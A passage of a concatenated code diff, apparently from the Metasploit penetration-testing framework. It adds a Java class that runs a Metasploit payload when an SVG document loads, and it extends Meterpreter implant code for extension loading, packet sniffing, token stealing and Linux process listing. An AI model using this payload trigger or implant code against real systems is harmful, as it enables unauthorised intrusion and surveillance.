- Fixed bug with loot/download viewer breaking with a font resize.
|
||||
- Default console font color is now grey. I never noticed that I had
|
||||
white text on a black background before. That's a lot of contrast.
|
||||
This is adjustable too through Armitage -> Preferences.
|
||||
- And... the Armitage console now displays pretty colors. If you don't
|
||||
like colors, set the console.show_colors.boolean preference to false
|
||||
through Armitage -> Preferences.
|
||||
- Fixed a bug preventing input field from getting focus when popping a
|
||||
console tab using Ctrl+W.
|
||||
|
||||
14 May 12
|
||||
---------
|
||||
- Oopserific--dynamic workspace shortcuts were not bound until you
|
||||
|
|
|
@ -0,0 +1,27 @@
|
|||
import org.w3c.dom.events.Event;
|
||||
import org.w3c.dom.events.EventListener;
|
||||
|
||||
import org.w3c.dom.svg.EventListenerInitializer;
|
||||
import org.w3c.dom.svg.SVGDocument;
|
||||
import org.w3c.dom.svg.SVGSVGElement;
|
||||
import metasploit.Payload;
|
||||
|
||||
public class Exploit implements EventListenerInitializer {
|
||||
|
||||
public Exploit() {
|
||||
}
|
||||
|
||||
public void initializeEventListeners(SVGDocument document) {
|
||||
SVGSVGElement root = document.getRootElement();
|
||||
EventListener listener = new EventListener() {
|
||||
public void handleEvent(Event event) {
|
||||
try {
|
||||
Payload.main(null);
|
||||
} catch (Exception e) {}
|
||||
}
|
||||
};
|
||||
root.addEventListener("SVGLoad", listener, false);
|
||||
}
|
||||
|
||||
}
|
||||
|
|
@ -2,6 +2,7 @@ package com.metasploit.meterpreter;
|
|||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Vector;
|
||||
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
|
||||
|
@ -16,6 +17,7 @@ public class CommandManager {
|
|||
|
||||
private final int javaVersion;
|
||||
private Map/* <String,Command> */registeredCommands = new HashMap();
|
||||
private Vector/* <String> */newCommands = new Vector();
|
||||
|
||||
protected CommandManager() throws Exception {
|
||||
// get the API version, which might be different from the
|
||||
|
@ -97,6 +99,7 @@ public class CommandManager {
|
|||
}
|
||||
Command cmd = (Command) commandClass.newInstance();
|
||||
registeredCommands.put(command, cmd);
|
||||
newCommands.add(command);
|
||||
}
|
||||
|
||||
/**
|
||||
|
@ -108,4 +111,18 @@ public class CommandManager {
|
|||
cmd = NotYetImplementedCommand.INSTANCE;
|
||||
return cmd;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the list of commands loaded by the last core_loadlib call
|
||||
*/
|
||||
public void resetNewCommands() {
|
||||
newCommands.clear();
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieves the list of commands loaded by the last core_loadlib call
|
||||
*/
|
||||
public String[] getNewCommands() {
|
||||
return (String[]) newCommands.toArray(new String[newCommands.size()]);
|
||||
}
|
||||
}
|
||||
|
|
|
@ -322,7 +322,7 @@ public class Meterpreter {
|
|||
* @param data
|
||||
* The extension jar's content as a byte array
|
||||
*/
|
||||
public void loadExtension(byte[] data) throws Exception {
|
||||
public String[] loadExtension(byte[] data) throws Exception {
|
||||
ClassLoader classLoader = getClass().getClassLoader();
|
||||
if (loadExtensions) {
|
||||
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
|
||||
|
@ -331,6 +331,8 @@ public class Meterpreter {
|
|||
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
|
||||
String loaderName = (String) jis.getManifest().getMainAttributes().getValue("Extension-Loader");
|
||||
ExtensionLoader loader = (ExtensionLoader) classLoader.loadClass(loaderName).newInstance();
|
||||
commandManager.resetNewCommands();
|
||||
loader.load(commandManager);
|
||||
return commandManager.getNewCommands();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -9,7 +9,11 @@ public class core_loadlib implements Command {
|
|||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
byte[] data = request.getRawValue(TLVType.TLV_TYPE_DATA);
|
||||
meterpreter.loadExtension(data);
|
||||
String[] commands = meterpreter.loadExtension(data);
|
||||
for (int i = 0; i < commands.length; i++) {
|
||||
response.addOverflow(TLVType.TLV_TYPE_METHOD, commands[i]);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -116,7 +116,7 @@ Command commands[] =
|
|||
};
|
||||
|
||||
// Dynamically registered command extensions
|
||||
Command *extensionList = NULL;
|
||||
Command *extension_commands = NULL;
|
||||
|
||||
/*
|
||||
* Dynamically register a custom command handler
|
||||
|
@ -133,13 +133,13 @@ DWORD command_register(Command *command)
|
|||
memcpy(newCommand, command, sizeof(Command));
|
||||
|
||||
dprintf("Setting new command...");
|
||||
if (extensionList)
|
||||
extensionList->prev = newCommand;
|
||||
if (extension_commands)
|
||||
extension_commands->prev = newCommand;
|
||||
|
||||
dprintf("Fixing next/prev...");
|
||||
newCommand->next = extensionList;
|
||||
newCommand->next = extension_commands;
|
||||
newCommand->prev = NULL;
|
||||
extensionList = newCommand;
|
||||
extension_commands = newCommand;
|
||||
|
||||
dprintf("Done...");
|
||||
return ERROR_SUCCESS;
|
||||
|
@ -154,7 +154,7 @@ DWORD command_deregister(Command *command)
|
|||
DWORD res = ERROR_NOT_FOUND;
|
||||
|
||||
// Search the extension list for the command
|
||||
for (current = extensionList, prev = NULL;
|
||||
for (current = extension_commands, prev = NULL;
|
||||
current;
|
||||
prev = current, current = current->next)
|
||||
{
|
||||
|
@ -164,7 +164,7 @@ DWORD command_deregister(Command *command)
|
|||
if (prev)
|
||||
prev->next = current->next;
|
||||
else
|
||||
extensionList = current->next;
|
||||
extension_commands = current->next;
|
||||
|
||||
if (current->next)
|
||||
current->next->prev = prev;
|
||||
|
@ -288,7 +288,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
|||
}
|
||||
|
||||
// Regardless of error code, try to see if someone has overriden a base handler
|
||||
for( current = extensionList, result = ERROR_NOT_FOUND ;
|
||||
for( current = extension_commands, result = ERROR_NOT_FOUND ;
|
||||
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
|
||||
{
|
||||
if( strcmp( current->method, method ) )
|
||||
|
@ -373,7 +373,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
|
|||
|
||||
// Regardless of error code, try to see if someone has overriden
|
||||
// a base handler
|
||||
for (current = extensionList, res = ERROR_NOT_FOUND;
|
||||
for (current = extension_commands, res = ERROR_NOT_FOUND;
|
||||
res == ERROR_NOT_FOUND && current && current->method;
|
||||
current = current->next)
|
||||
{
|
||||
|
|
|
@ -599,6 +599,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
|||
result = hErr;
|
||||
break;
|
||||
}
|
||||
j->capture_linktype = 1; // LINKTYPE_ETHERNET forced on windows
|
||||
#else
|
||||
name = get_interface_name_by_index(ifh);
|
||||
|
||||
|
@ -612,6 +613,9 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
|||
result = EACCES;
|
||||
break;
|
||||
}
|
||||
j->capture_linktype = dlt_to_linktype(pcap_datalink(j->pcap)); // get the datalink associated with the capture, needed when saving pcap file
|
||||
if (-1 == j->capture_linktype)
|
||||
j->capture_linktype = 1; // force to LINKTYPE_ETHERNET in case of error
|
||||
|
||||
if(packet_filter) {
|
||||
struct bpf_program bpf;
|
||||
|
@ -1019,6 +1023,8 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
|
|||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt);
|
||||
// add capture datalink, needed when saving capture file, use TLV_TYPE_SNIFFER_INTERFACE_ID not to create a new TLV type
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype);
|
||||
|
||||
dprintf("sniffer>> finished processing packets");
|
||||
|
||||
|
|
|
@ -35,6 +35,7 @@ typedef struct capturejob
|
|||
unsigned char *dbuf;
|
||||
unsigned int dlen;
|
||||
unsigned int didx;
|
||||
int capture_linktype; //current capture link type that we want to save, ie. LINKTYPE_ETHERNET
|
||||
#ifndef _WIN32
|
||||
THREAD *thread;
|
||||
pcap_t *pcap;
|
||||
|
|
|
@ -314,9 +314,9 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
|
|||
tlv_cnt++;
|
||||
|
||||
for (j = 0; j < ifaces->ifaces[i].addr_count; j++) {
|
||||
if (allocd_entries < tlv_cnt+3) {
|
||||
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
|
||||
allocd_entries += 3;
|
||||
if (allocd_entries < tlv_cnt+2) {
|
||||
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+2));
|
||||
allocd_entries += 2;
|
||||
}
|
||||
if (ifaces->ifaces[i].addr_list[j].family == AF_INET) {
|
||||
dprintf("ip addr for %s", ifaces->ifaces[i].name);
|
||||
|
|
|
@ -296,6 +296,7 @@ Command customCommands[] =
|
|||
{ request_sys_config_getprivs, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
#ifdef _WIN32
|
||||
{ "stdapi_sys_config_steal_token",
|
||||
{ request_sys_config_steal_token, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
|
@ -304,6 +305,7 @@ Command customCommands[] =
|
|||
{ request_sys_config_drop_token, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
#endif
|
||||
|
||||
|
||||
// Net
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
#include "precomp.h"
|
||||
#include "ps.h" // include the code for listing proceses
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "ps.h" // include the code for listing proceses
|
||||
#include "./../session.h"
|
||||
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
|
||||
|
||||
|
@ -859,8 +859,10 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet )
|
|||
#else
|
||||
DWORD result = ERROR_NOT_SUPPORTED;
|
||||
Packet * response = packet_create_response( packet );
|
||||
|
||||
packet_transmit_response( result, remote, response );
|
||||
if (response) {
|
||||
result = ps_list_linux( response );
|
||||
packet_transmit_response( result, remote, response );
|
||||
}
|
||||
#endif
|
||||
|
||||
return result;
|
||||
|
|
|
@ -1,5 +1,8 @@
|
|||
#include "precomp.h"
|
||||
#include "ps.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#include "./../session.h"
|
||||
#include "./../../../../../common/arch/win/i386/base_inject.h"
|
||||
|
||||
|
@ -394,64 +397,7 @@ BOOL ps_getusername( DWORD pid, char * cpUserName, DWORD dwUserNameSize )
|
|||
return success;
|
||||
}
|
||||
|
||||
/*
|
||||
* Add the details of a process to the response.
|
||||
*/
|
||||
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch )
|
||||
{
|
||||
Tlv entries[7] = {0};
|
||||
DWORD dwSessionId = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !response )
|
||||
break;
|
||||
|
||||
dwSessionId = session_id( dwPid );
|
||||
|
||||
dwPid = htonl( dwPid );
|
||||
entries[0].header.type = TLV_TYPE_PID;
|
||||
entries[0].header.length = sizeof( DWORD );
|
||||
entries[0].buffer = (PUCHAR)&dwPid;
|
||||
|
||||
if( !cpExeName )
|
||||
cpExeName = "";
|
||||
entries[1].header.type = TLV_TYPE_PROCESS_NAME;
|
||||
entries[1].header.length = (DWORD)strlen( cpExeName ) + 1;
|
||||
entries[1].buffer = cpExeName;
|
||||
|
||||
if( !cpExePath )
|
||||
cpExePath = "";
|
||||
entries[2].header.type = TLV_TYPE_PROCESS_PATH;
|
||||
entries[2].header.length = (DWORD)strlen( cpExePath ) + 1;
|
||||
entries[2].buffer = cpExePath;
|
||||
|
||||
if( !cpUserName )
|
||||
cpUserName = "";
|
||||
entries[3].header.type = TLV_TYPE_USER_NAME;
|
||||
entries[3].header.length = (DWORD)strlen( cpUserName ) + 1;
|
||||
entries[3].buffer = cpUserName;
|
||||
|
||||
dwProcessArch = htonl( dwProcessArch );
|
||||
entries[4].header.type = TLV_TYPE_PROCESS_ARCH;
|
||||
entries[4].header.length = sizeof( DWORD );
|
||||
entries[4].buffer = (PUCHAR)&dwProcessArch;
|
||||
|
||||
dwParentPid = htonl( dwParentPid );
|
||||
entries[5].header.type = TLV_TYPE_PARENT_PID;
|
||||
entries[5].header.length = sizeof( DWORD );
|
||||
entries[5].buffer = (PUCHAR)&dwParentPid;
|
||||
|
||||
dwSessionId = htonl( dwSessionId );
|
||||
entries[6].header.type = TLV_TYPE_PROCESS_SESSION;
|
||||
entries[6].header.length = sizeof( DWORD );
|
||||
entries[6].buffer = (PUCHAR)&dwSessionId;
|
||||
|
||||
packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 );
|
||||
|
||||
} while(0);
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
* Generate a process list via the kernel32!CreateToolhelp32Snapshot method. Works on Windows 2000 and above.
|
||||
|
@ -632,3 +578,336 @@ DWORD ps_list_via_brute( Packet * response )
|
|||
|
||||
return result;
|
||||
}
|
||||
|
||||
#else // linux part
|
||||
|
||||
/*
|
||||
* linux specific ps command and structures
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <ctype.h>
|
||||
#include <sys/types.h>
|
||||
#include <dirent.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
#define NAME "Name:\t"
|
||||
#define STATE "State:\t"
|
||||
#define UID "Uid:\t"
|
||||
#define PPID "PPid:\t"
|
||||
|
||||
struct info_process {
|
||||
char name[60];
|
||||
char state[2];
|
||||
int uid;
|
||||
int ppid;
|
||||
};
|
||||
|
||||
struct info_user {
|
||||
char name[40];
|
||||
int uid;
|
||||
};
|
||||
|
||||
struct info_user_list {
|
||||
int count_max;
|
||||
int count_current;
|
||||
struct info_user * list;
|
||||
};
|
||||
|
||||
int read_file(FILE * fd, char * buffer, int buffer_len) {
|
||||
int read = 0;
|
||||
while (!feof(fd) && !ferror(fd) && read < buffer_len - 1)
|
||||
read += fread(buffer+read, 1, 1024, fd);
|
||||
|
||||
buffer[read] = 0;
|
||||
return read;
|
||||
|
||||
}
|
||||
|
||||
void parse_status(char * buffer, struct info_process * info) {
|
||||
char * str;
|
||||
str = strtok(buffer, "\n");
|
||||
|
||||
|
||||
memset(info, 0, sizeof(*info));
|
||||
|
||||
while (str != NULL) {
|
||||
if ( strncmp(str, NAME, strlen(NAME)) == 0 )
|
||||
strncpy(info->name, str+strlen(NAME), sizeof(info->name)-1);
|
||||
|
||||
if ( strncmp(str, STATE, strlen(STATE)) == 0 ) {
|
||||
strncpy(info->state, str+strlen(STATE), 1); // want only 1 char
|
||||
}
|
||||
|
||||
if ( strncmp(str, UID, strlen(UID)) == 0 )
|
||||
info->uid = atoi(str+strlen(UID));
|
||||
|
||||
if ( strncmp(str, PPID, strlen(PPID)) == 0 )
|
||||
info->ppid = atoi(str+strlen(PPID));
|
||||
|
||||
str = strtok(NULL, "\n");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void add_user_to_list(struct info_user_list * user_list, char * username, int uid) {
|
||||
if(user_list->count_max <= user_list->count_current) {
|
||||
user_list->list = realloc(user_list->list, sizeof(struct info_user) * (user_list->count_current+3));
|
||||
user_list->count_max = user_list->count_current+3;
|
||||
}
|
||||
memset(&user_list->list[user_list->count_current], 0, sizeof(struct info_user));
|
||||
strncpy(user_list->list[user_list->count_current].name, username, sizeof(user_list->list[user_list->count_current].name) - 1);
|
||||
user_list->list[user_list->count_current].uid = uid;
|
||||
|
||||
user_list->count_current++;
|
||||
return;
|
||||
}
|
||||
|
||||
// parse password to get username/uid association
|
||||
int parse_passwd_file(char * passwd_filename, struct info_user_list ** user_list) {
|
||||
FILE * fd;
|
||||
struct info_user_list * tmp;
|
||||
char buffer[2048];
|
||||
char tmp_username[40];
|
||||
char * str;
|
||||
int tmp_uid;
|
||||
|
||||
fd = fopen(passwd_filename, "r");
|
||||
if (!fd)
|
||||
return -1;
|
||||
|
||||
tmp = (struct info_user_list *)malloc(sizeof(struct info_user_list));
|
||||
if (!tmp)
|
||||
return -1;
|
||||
|
||||
// allocate some space for 10 users
|
||||
tmp->list = (struct info_user *)malloc(sizeof(struct info_user) * 10);
|
||||
if (!tmp->list) {
|
||||
free(tmp);
|
||||
return -1;
|
||||
}
|
||||
tmp->count_max = 10;
|
||||
tmp->count_current = 0;
|
||||
|
||||
while(!feof(fd) && !ferror(fd)) {
|
||||
// read 1 line at a time
|
||||
if (fgets(buffer, sizeof(buffer)-1, fd) != NULL) {
|
||||
str = strtok(buffer, ":");
|
||||
if (str) {
|
||||
// first member before : is username
|
||||
memset(tmp_username, 0, sizeof(tmp_username));
|
||||
strncpy(tmp_username, str, sizeof(tmp_username)-1);
|
||||
str = strtok(NULL, ":");
|
||||
if(!str) // bad line, doesn't contain more than 1 time ":"
|
||||
continue;
|
||||
str = strtok(NULL, ":");
|
||||
if(!str) // bad line, doesn't contain more than 2 times ":"
|
||||
continue;
|
||||
// str points to uid
|
||||
tmp_uid = atoi(str);
|
||||
add_user_to_list(tmp, tmp_username, tmp_uid);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
*user_list = tmp;
|
||||
fclose(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void uid_to_username(struct info_user_list * user_list, int uid, char * username, int username_buffer_length) {
|
||||
int i;
|
||||
|
||||
memset(username, 0, username_buffer_length);
|
||||
for (i=0; i<user_list->count_current; i++) {
|
||||
if (user_list->list[i].uid == uid) {
|
||||
strncpy(username, user_list->list[i].name, username_buffer_length-1);
|
||||
return;
|
||||
}
|
||||
}
|
||||
// fallback if we didn't find the username
|
||||
snprintf(username, username_buffer_length-1, "%d", uid);
|
||||
return ;
|
||||
}
|
||||
|
||||
/*
|
||||
* Generate a process list by parsing /proc/<pid> directories
|
||||
* linux specific
|
||||
*/
|
||||
DWORD ps_list_linux( Packet * response )
|
||||
{
|
||||
DWORD result = ERROR_NOT_SUPPORTED;
|
||||
DIR * dir;
|
||||
int i;
|
||||
int read;
|
||||
struct dirent * entry;
|
||||
struct stat stat_buf;
|
||||
char is_process_dir;
|
||||
char file_path[50];
|
||||
char file_buffer[2048];
|
||||
char username[40];
|
||||
char process_name[50];
|
||||
char * cmdline;
|
||||
FILE * fd;
|
||||
struct info_process info;
|
||||
struct info_user_list * user_list;
|
||||
|
||||
user_list = NULL;
|
||||
parse_passwd_file("/etc/passwd", &user_list);
|
||||
|
||||
dir = opendir("/proc");
|
||||
if(dir) {
|
||||
while( (entry=readdir(dir) ) != NULL) {
|
||||
memset(file_path, 0, sizeof(file_path));
|
||||
snprintf(file_path, sizeof(file_path)-1, "/proc/%s", entry->d_name);
|
||||
// handle only directories
|
||||
if ( (stat(file_path, &stat_buf) != 0) || !(S_ISDIR(stat_buf.st_mode)) )
|
||||
continue;
|
||||
// assume it's a dir name
|
||||
is_process_dir = 1;
|
||||
// check if the directory name is a process dir name (ie. only digits)
|
||||
for (i=0; i<strlen(entry->d_name); i++) {
|
||||
if (!isdigit(entry->d_name[i])) {
|
||||
is_process_dir = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (is_process_dir) {
|
||||
memset(file_path, 0, sizeof(file_path));
|
||||
snprintf(file_path, sizeof(file_path)-1, "/proc/%s/status", entry->d_name);
|
||||
fd = fopen(file_path, "rb");
|
||||
if (!fd)
|
||||
continue;
|
||||
memset(file_buffer, 0, sizeof(file_buffer));
|
||||
read = read_file(fd, file_buffer, sizeof(file_buffer));
|
||||
parse_status(file_buffer, &info);
|
||||
fclose(fd);
|
||||
|
||||
|
||||
/* at the moment, lack support for getpwuid in bionic (defined in stub.c but excluded from compilation)
|
||||
* so use custom code to parse /etc/passwd
|
||||
* see parse_passwd_file above
|
||||
*/
|
||||
|
||||
memset(username, 0, sizeof(username));
|
||||
if (user_list)
|
||||
uid_to_username(user_list, info.uid, username, sizeof(username));
|
||||
else
|
||||
snprintf(username, sizeof(username)-1, "%d", info.uid);
|
||||
|
||||
memset(file_path, 0, sizeof(file_path));
|
||||
snprintf(file_path, sizeof(file_path)-1, "/proc/%s/cmdline", entry->d_name);
|
||||
fd = fopen(file_path, "rb");
|
||||
if (!fd)
|
||||
continue;
|
||||
|
||||
memset(process_name, 0, sizeof(process_name));
|
||||
memset(file_buffer, 0, sizeof(file_buffer));
|
||||
read = read_file(fd, file_buffer, sizeof(file_buffer));
|
||||
fclose(fd);
|
||||
|
||||
if (info.state[0] == 'Z') { // zombie
|
||||
snprintf(process_name, sizeof(process_name)-1, "[%s] <defunct>", info.name);
|
||||
cmdline = NULL; // no cmdline for zombie process
|
||||
}
|
||||
else if (read == 0) { // kernel process
|
||||
snprintf(process_name, sizeof(process_name)-1, "[%s]", info.name);
|
||||
cmdline = NULL; // no cmdline for kernel process
|
||||
}
|
||||
else {
|
||||
snprintf(process_name, sizeof(process_name)-1, "%s", info.name);
|
||||
cmdline = file_buffer; // file_buffer contains the cmdline
|
||||
for(i=0; i<read; i++)
|
||||
if(file_buffer[i] == '\0')
|
||||
file_buffer[i] = ' ';
|
||||
}
|
||||
// don't care about process arch
|
||||
ps_addresult(response, atoi(entry->d_name), info.ppid, process_name, cmdline, username, 0);
|
||||
// at least 1 process found, return ERROR_SUCCESS;
|
||||
result = ERROR_SUCCESS;
|
||||
|
||||
|
||||
} // end is_process_dir
|
||||
|
||||
} // end while readdir
|
||||
closedir(dir);
|
||||
}
|
||||
|
||||
if (user_list) {
|
||||
if(user_list->list)
|
||||
free(user_list->list);
|
||||
free(user_list);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
/*
|
||||
* Add the details of a process to the response.
|
||||
*/
|
||||
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch )
|
||||
{
|
||||
Tlv entries[7] = {0};
|
||||
DWORD dwSessionId = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !response )
|
||||
break;
|
||||
|
||||
#ifdef _WIN32
|
||||
dwSessionId = session_id( dwPid );
|
||||
#else
|
||||
dwSessionId = 0;
|
||||
#endif
|
||||
dwPid = htonl( dwPid );
|
||||
entries[0].header.type = TLV_TYPE_PID;
|
||||
entries[0].header.length = sizeof( DWORD );
|
||||
entries[0].buffer = (PUCHAR)&dwPid;
|
||||
|
||||
if( !cpExeName )
|
||||
cpExeName = "";
|
||||
entries[1].header.type = TLV_TYPE_PROCESS_NAME;
|
||||
entries[1].header.length = (DWORD)strlen( cpExeName ) + 1;
|
||||
entries[1].buffer = cpExeName;
|
||||
|
||||
if( !cpExePath )
|
||||
cpExePath = "";
|
||||
entries[2].header.type = TLV_TYPE_PROCESS_PATH;
|
||||
entries[2].header.length = (DWORD)strlen( cpExePath ) + 1;
|
||||
entries[2].buffer = cpExePath;
|
||||
|
||||
if( !cpUserName )
|
||||
cpUserName = "";
|
||||
entries[3].header.type = TLV_TYPE_USER_NAME;
|
||||
entries[3].header.length = (DWORD)strlen( cpUserName ) + 1;
|
||||
entries[3].buffer = cpUserName;
|
||||
|
||||
dwProcessArch = htonl( dwProcessArch );
|
||||
entries[4].header.type = TLV_TYPE_PROCESS_ARCH;
|
||||
entries[4].header.length = sizeof( DWORD );
|
||||
entries[4].buffer = (PUCHAR)&dwProcessArch;
|
||||
|
||||
dwParentPid = htonl( dwParentPid );
|
||||
entries[5].header.type = TLV_TYPE_PARENT_PID;
|
||||
entries[5].header.length = sizeof( DWORD );
|
||||
entries[5].buffer = (PUCHAR)&dwParentPid;
|
||||
|
||||
dwSessionId = htonl( dwSessionId );
|
||||
entries[6].header.type = TLV_TYPE_PROCESS_SESSION;
|
||||
entries[6].header.length = sizeof( DWORD );
|
||||
entries[6].buffer = (PUCHAR)&dwSessionId;
|
||||
|
||||
packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 );
|
||||
|
||||
} while(0);
|
||||
|
||||
}
|
||||
|
|
|
@ -1,9 +1,12 @@
|
|||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
|
||||
//===============================================================================================//
|
||||
#ifdef _WIN32
|
||||
|
||||
|
||||
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch );
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
|
||||
typedef DWORD (WINAPI * GETMODULEFILENAMEEXA)( HANDLE hProcess, HMODULE hModule, LPTSTR lpExeName, DWORD dwSize );
|
||||
typedef DWORD (WINAPI * GETPROCESSIMAGEFILENAMEA)( HANDLE hProcess, LPTSTR lpExeName, DWORD dwSize );
|
||||
|
@ -77,7 +80,11 @@ DWORD ps_list_via_psapi( Packet * response );
|
|||
|
||||
DWORD ps_list_via_brute( Packet * response );
|
||||
|
||||
|
||||
|
||||
//===============================================================================================//
|
||||
#else // linux
|
||||
DWORD ps_list_linux( Packet * response );
|
||||
#endif // _WIN32
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
//===============================================================================================//
|
||||
|
|
|
@ -836,8 +836,9 @@ void address_calculate_netmask(struct iface_address *address, int ifa_prefixlen)
|
|||
|
||||
if (address->family == AF_INET6) {
|
||||
// if netmask is FFFFFFFF FFFFFFFF 00000000 00000000 (/64), netmask6.a1 and netmask6.a2 == 0xffffffff, and nestmask6.a3 and .a4 == 0
|
||||
// netmask6 is set to 0 at the beginning of the function, no need to reset the values to 0 if it is needed
|
||||
// netmask6 is no longer set to 0 at the beginning of the function, need to reset the values to 0
|
||||
// XXX really ugly, but works
|
||||
memset(&address->nm.netmask6, 0, sizeof(__u128));
|
||||
if (ifa_prefixlen >= 96) {
|
||||
address->nm.netmask6.a4 = (1 << (ifa_prefixlen-96))-1;
|
||||
address->nm.netmask6.a1 = address->nm.netmask6.a2 = address->nm.netmask6.a3 = 0xffffffff;
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
#include <dlfcn.h>
|
||||
#include "metsrv.h"
|
||||
|
||||
extern Command *extension_commands;
|
||||
|
||||
DWORD
|
||||
request_core_loadlib(Remote *remote, Packet *packet)
|
||||
|
@ -12,7 +13,9 @@ request_core_loadlib(Remote *remote, Packet *packet)
|
|||
DWORD flags = 0;
|
||||
PCHAR targetPath;
|
||||
int local_error = 0;
|
||||
|
||||
Command *command;
|
||||
Command *first = extension_commands;
|
||||
|
||||
do
|
||||
{
|
||||
Tlv dataTlv;
|
||||
|
@ -64,6 +67,11 @@ request_core_loadlib(Remote *remote, Packet *packet)
|
|||
dprintf("calling InitServerExtension");
|
||||
res = init(remote);
|
||||
}
|
||||
if (response) {
|
||||
for (command = extension_commands; command != first; command = command->next) {
|
||||
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
|
|
@ -5,6 +5,8 @@ extern HINSTANCE hAppInstance;
|
|||
|
||||
// see remote_dispatch_common.c
|
||||
extern LIST * extension_list;
|
||||
// see common/base.c
|
||||
extern Command *extension_commands;
|
||||
|
||||
DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
{
|
||||
|
@ -15,6 +17,9 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
|||
DWORD flags = 0;
|
||||
BOOL bLibLoadedReflectivly = FALSE;
|
||||
|
||||
Command *first = extension_commands;
|
||||
Command *command;
|
||||
|
||||
do
|
||||
{
|
||||
libraryPath = packet_get_tlv_value_string(packet,
|
||||
|
@ -124,6 +129,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
|||
free( extension );
|
||||
}
|
||||
dprintf("[SERVER] Called init()...");
|
||||
if (response) {
|
||||
for (command = extension_commands; command != first; command = command->next) {
|
||||
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -39,6 +39,7 @@ objects = \
|
|||
server/sys/config/config.o \
|
||||
server/sys/process/linux-in-mem-exe.o \
|
||||
server/sys/process/process.o \
|
||||
server/sys/process/ps.o \
|
||||
|
||||
all: ext_server_stdapi.so
|
||||
|
||||
|
|
|
@ -98,10 +98,8 @@ module MetasploitDataModels::ActiveRecordModels::Host
|
|||
# Note that we're already restricting the query to this host by using
|
||||
# host.notes instead of Note, so don't need a host_id in the
|
||||
# conditions.
|
||||
fingers = host.notes.find(:all,
|
||||
:conditions => [ "ntype like '%%fingerprint'" ]
|
||||
)
|
||||
fingers.each do |fp|
|
||||
fingerprintable_notes = self.notes.where("ntype like '%%fingerprint'")
|
||||
fingerprintable_notes.each do |fp|
|
||||
next if not validate_fingerprint_data(fp)
|
||||
norm = normalize_scanner_fp(fp)
|
||||
wvers[norm[:os_sp]] = wvers[norm[:os_sp]].to_i + (100 * norm[:certainty])
|
||||
|
@ -124,8 +122,9 @@ module MetasploitDataModels::ActiveRecordModels::Host
|
|||
# has an opinion and which doesn't. It would also be nice to
|
||||
# identify "impossible" combinations of services and alert that
|
||||
# something funny is going on.
|
